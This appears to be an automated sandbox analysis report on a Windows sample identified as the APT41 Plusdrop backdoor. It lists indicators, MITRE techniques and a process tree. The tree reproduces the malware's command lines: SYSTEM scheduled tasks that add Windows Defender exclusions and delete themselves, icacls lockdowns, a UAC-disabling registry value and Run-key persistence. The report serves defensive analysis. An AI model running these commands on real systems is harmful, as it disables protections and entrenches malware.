plusdrop | 086c4c4d1e8876d832115663550dc359cfce379e323effc848875afa767a5a48

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/06/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
Size 73.1MB
Sample260609-tpfv6aex2j
SHA256 086c4c4d1e8876d832115663550dc359cfce379e323effc848875afa767a5a48
MD5 08ff4916fc9682bf2a35555b21242244
SHA1 62f1bbeb52fabda04057d9987f9b16e12f49e773
SHA512 24e70f6631ae54d80422a16e6d6b8d48ab3383705e9dc842ab2b74f59cac99a8fe8ab803c340a1d4defa688567648606f5af860b0e806c4e9750cff476e8a0bd
SSDEEP 196608:+gyqApeh3fMAru1HSo5OptkSPjh/8n8/m3xq9aFIbQ7RUqlk:l1qgYypvt1mKbQ7RUF
TLSH
T1A1F7C616B7028DCBF4655234884B8FA4A372ECB08A71876733A8772E2FFE34C5D96155
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution plusdrop persistence trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral1/memory/1636-555-0x000001B67AC10000-0x000001B67AC70000-memory.dmp	family_Plusdrop_payload

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	phFX8G.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\N8qj2I = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral1/memory/5112-675-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 5 IoCs

resource	yara_rule
behavioral1/memory/5112-654-0x00000000039E0000-0x00000000041DF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5112-658-0x00000000039E0000-0x00000000041DF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5112-666-0x00000000039E0000-0x00000000041DF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5112-684-0x00000000039E0000-0x00000000041DF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral1/memory/5112-685-0x00000000039E0000-0x00000000041DF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	V6O3vb.exe

Executes dropped EXE 2 IoCs

pid	Process
1636	V6O3vb.exe
5112	phFX8G.exe

Loads dropped DLL 2 IoCs

pid	Process
1636	V6O3vb.exe
5112	phFX8G.exe

Modifies file permissions 1 TTPs 16 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2188	icacls.exe
5228	icacls.exe
5736	icacls.exe
5872	icacls.exe
6060	icacls.exe
624	icacls.exe
5952	icacls.exe
5156	icacls.exe
5512	icacls.exe
3016	icacls.exe
976	icacls.exe
5160	icacls.exe
3004	icacls.exe
5448	icacls.exe
3156	icacls.exe
4712	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\N8qj2I\\V6O3vb.exe\""	V6O3vb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\phFX8G\\phFX8G.exe\""	phFX8G.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3564	cmd.exe
3988	cmd.exe
5724	cmd.exe
5704	cmd.exe
2948	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	V6O3vb.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\phFX8G\phFX8G.exe	V6O3vb.exe
File created	C:\Program Files (x86)\phFX8G\XPSPLOG.dll	V6O3vb.exe
File created	C:\Program Files (x86)\phFX8G\thumbs.db	V6O3vb.exe
File opened for modification	C:\Program Files (x86)\phFX8G\phFX8G.exe	V6O3vb.exe
File opened for modification	C:\Program Files (x86)\phFX8G	V6O3vb.exe
File created	C:\Program Files (x86)\phFX8G\image.png	V6O3vb.exe
File opened for modification	C:\Program Files (x86)\phFX8G\XPSPLOG.dll	V6O3vb.exe
File opened for modification	C:\Program Files (x86)\phFX8G\image.png	V6O3vb.exe
File opened for modification	C:\Program Files (x86)\phFX8G\thumbs.db	V6O3vb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	phFX8G.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	V6O3vb.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5348	schtasks.exe
2952	schtasks.exe
2696	schtasks.exe
6032	schtasks.exe
2404	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
588	2026-06-09_08ff4916fc9682bf2a35555b21242244_akira_coinminer_dosia_glassworm_poet-rat_quasar-rat_remcos.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe
1636	V6O3vb.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
664	Process not Found
664	Process not Found
664	Process not Found
664	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1636	V6O3vb.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 1636 wrote to memory of 1124	1636	V6O3vb.exe	19
PID 1636 wrote to memory of 1124	1636	V6O3vb.exe	19
PID 1636 wrote to memory of 4040	1636	V6O3vb.exe	110
PID 1636 wrote to memory of 3564	1636	V6O3vb.exe	112
PID 4040 wrote to memory of 976	4040	cmd.exe	113
PID 3564 wrote to memory of 2404	3564	cmd.exe	116
PID 1636 wrote to memory of 4680	1636	V6O3vb.exe	118
PID 1636 wrote to memory of 1244	1636	V6O3vb.exe	22
PID 1636 wrote to memory of 1244	1636	V6O3vb.exe	22
PID 1636 wrote to memory of 3988	1636	V6O3vb.exe	120
PID 4680 wrote to memory of 2188	4680	cmd.exe	121
PID 3988 wrote to memory of 5348	3988	cmd.exe	123
PID 1636 wrote to memory of 5372	1636	V6O3vb.exe	124
PID 5372 wrote to memory of 5448	5372	cmd.exe	126
PID 1636 wrote to memory of 5412	1636	V6O3vb.exe	127
PID 5412 wrote to memory of 5228	5412	cmd.exe	129
PID 1636 wrote to memory of 5212	1636	V6O3vb.exe	130
PID 5212 wrote to memory of 5160	5212	cmd.exe	132
PID 3988 wrote to memory of 5232	3988	cmd.exe	133
PID 1636 wrote to memory of 1528	1636	V6O3vb.exe	25
PID 1636 wrote to memory of 1528	1636	V6O3vb.exe	25
PID 1636 wrote to memory of 5292	1636	V6O3vb.exe	135
PID 3564 wrote to memory of 5312	3564	cmd.exe	137
PID 3988 wrote to memory of 5496	3988	cmd.exe	138
PID 5292 wrote to memory of 5512	5292	cmd.exe	139
PID 3564 wrote to memory of 5520	3564	cmd.exe	140
PID 1636 wrote to memory of 5540	1636	V6O3vb.exe	141
PID 5540 wrote to memory of 5736	5540	cmd.exe	143
PID 1636 wrote to memory of 5724	1636	V6O3vb.exe	144
PID 5724 wrote to memory of 2952	5724	cmd.exe	146
PID 1636 wrote to memory of 3996	1636	V6O3vb.exe	147
PID 5724 wrote to memory of 2720	5724	cmd.exe	149
PID 3996 wrote to memory of 3004	3996	cmd.exe	151
PID 5724 wrote to memory of 5796	5724	cmd.exe	154
PID 1636 wrote to memory of 5024	1636	V6O3vb.exe	155
PID 5024 wrote to memory of 5872	5024	cmd.exe	158
PID 1636 wrote to memory of 5944	1636	V6O3vb.exe	160
PID 5944 wrote to memory of 6060	5944	cmd.exe	162
PID 1636 wrote to memory of 1536	1636	V6O3vb.exe	26
PID 1636 wrote to memory of 1536	1636	V6O3vb.exe	26
PID 1636 wrote to memory of 4484	1636	V6O3vb.exe	163
PID 5272 wrote to memory of 6124	5272	cmd.exe	165
PID 4484 wrote to memory of 3016	4484	cmd.exe	166
PID 5788 wrote to memory of 4884	5788	cmd.exe	167
PID 1636 wrote to memory of 5704	1636	V6O3vb.exe	168
PID 1636 wrote to memory of 3120	1636	V6O3vb.exe	170
PID 3120 wrote to memory of 3156	3120	cmd.exe	172
PID 5704 wrote to memory of 2696	5704	cmd.exe	173
PID 1636 wrote to memory of 2228	1636	V6O3vb.exe	174
PID 2228 wrote to memory of 624	2228	cmd.exe	176
PID 5704 wrote to memory of 1144	5704	cmd.exe	177
PID 5704 wrote to memory of 888	5704	cmd.exe	179
PID 1636 wrote to memory of 2204	1636	V6O3vb.exe	180
PID 2204 wrote to memory of 5952	2204	cmd.exe	182
PID 1636 wrote to memory of 3984	1636	V6O3vb.exe	183
PID 3984 wrote to memory of 4712	3984	cmd.exe	186
PID 1636 wrote to memory of 2948	1636	V6O3vb.exe	187
PID 2948 wrote to memory of 6032	2948	cmd.exe	189
PID 2948 wrote to memory of 6088	2948	cmd.exe	190
PID 2948 wrote to memory of 4188	2948	cmd.exe	192
PID 3416 wrote to memory of 4076	3416	cmd.exe	194
PID 2460 wrote to memory of 4152	2460	cmd.exe	195
PID 1636 wrote to memory of 5112	1636	V6O3vb.exe	196

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	phFX8G.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1124
- C:\Users\Public\N8qj2I\V6O3vb.exe
  C:\Users\Public\N8qj2I\V6O3vb.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I" /inheritance:r
      4⤵
      Modifies file permissions
      PID:976
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\N8qj2I\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\N8qj2I\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2404
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5312
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5520
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2188
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5348
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:5232
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5496
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:5448
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5228
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5212
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5160
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5292
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\V6O3vb.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:5512
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\adoresd.dat" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\adoresd.dat" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5736
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5724
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2952
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2720
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3996
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3004
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:5872
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\msadox.tb" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\msadox.tb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:6060
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3016
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:5704
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2696
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1144
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:888
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3120
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3156
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:624
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5952
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\N8qj2I\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4712
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6032
  - - C:\Windows\system32\schtasks.exe
